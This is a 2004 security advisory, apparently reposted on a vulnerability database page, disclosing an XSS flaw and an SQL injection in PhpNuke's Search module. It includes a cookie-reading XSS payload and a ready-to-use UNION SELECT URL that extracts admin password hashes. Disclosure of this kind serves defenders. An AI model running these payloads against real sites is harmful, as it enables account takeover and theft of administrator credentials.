waraxe-2004-SA035.txt

🗓️ 16 Jul 2004 00:00:00Reported by Janek Vind aka waraxeType
packetstorm🔗 packetstormsecurity.com👁 22 Views
Multiple security vulnerabilities in PhpNuke, including Cross-site scripting and SQL injection.
`  
  
  
  
{================================================================================}  
{ [waraxe-2004-SA#035] }  
{================================================================================}  
{ }  
{ [ Multiple security holes in PhpNuke - part 2] }  
{ }  
{================================================================================}  
  
Author: Janek Vind "waraxe"  
Date: 17. July 2004  
Location: Estonia, Tartu  
Web: http://www.waraxe.us/index.php?modname=sa&id=35  
  
  
Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Php-Nuke is a popular freeware content management system, written in php by  
Francisco Burzi. This CMS (Content Management System) is used on many thousands  
websites, because it's freeware, easy to install and has broad set of features.  
  
Homepage: http://phpnuke.org  
  
  
  
Vulnerabilities:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
This time we will look @ security holes - 1 XSS and 1 sql inject case -   
in "Search" module.  
  
  
A - Cross-site scripting aka XSS  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
A1 - xss in "/modules/Search/index.php":  
  
Open search page in phpnuke:  
  
http://localhost/nuke73/modules.php?name=Search  
  
and enter to input field something like this:  
  
1"><body onload="alert(document.cookie);  
  
In case of other browsers than IE xss exploiting method can be modified, but one thing  
is sure - xss case exists here...  
  
  
B - Sql Injection  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
B1 - critical sql injection case in "/modules/Search/index.php":  
  
Well, let's look at source code from that script:  
  
----------------[ original source ]-----------------  
} elseif ($type == "comments" AND isset($sid)) {  
$res = $db->sql_query("select title from ".$prefix."_stories where sid='$sid'");  
list($st_title) = $db->sql_fetchrow($res);  
$instory = "AND sid='$sid'";  
echo "<center><font class=\"title\"><b>"._SEARCHINSTORY." $st_title</b></font></center><br>";  
} else {  
echo "<center><font class=\"title\"><b>"._SEARCHIN." $topictext</b></font></center><br>";  
}  
----------------[/original source ]-----------------  
  
So - if search type is "comments" and there is no "sid" specified, then sql query   
fragment "instory" is not initialized. Now, let's look further:  
  
  
----------------[ original source ]-----------------  
} elseif ($type=="comments") {  
...  
...  
$result8 = $db->sql_query("SELECT tid, sid, subject, date, name from  
".$prefix."_comments where (subject like '%$query%' OR comment like '%$query%')  
$instory order by date DESC limit $min,$offset");  
...  
...  
----------------[/original source ]-----------------  
  
What is here, is a typical case of uninitialized variable - "instory".  
It's time to turn this little bug to something evil:  
  
----------------[ real life exploit ]---------------  
  
http://localhost/nuke73/modules.php?name=Search&type=comments&  
query=not123exists&instory=/**/UNION/**/SELECT/**/0,0,pwd,0,aid/**/FROM/**/nuke_authors  
  
----------------[/real life exploit ]---------------  
  
... and we see all the secret information about admins :)  
  
Have a nice day!  
  
  
How to fix:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
  
Fixing tutorials, discussion, help - look at http://www.waraxe.us/forums.html  
  
See ya there!  
  
  
Greetings:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Greets to Raido Kerna and to http://www.gamecheaters.us staff!  
Special greets to icenix and slimjim100!  
Tervitused - Heintz ja Maku!  
  
  
Contact:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
[email protected]  
Janek Vind "waraxe"  
  
Homepage: http://www.waraxe.us/  
  
---------------------------------- [ EOF ] ------------------------------------  
`
16 Jul 2004 00:00Current
7.4High risk
Vulners AI Score7.4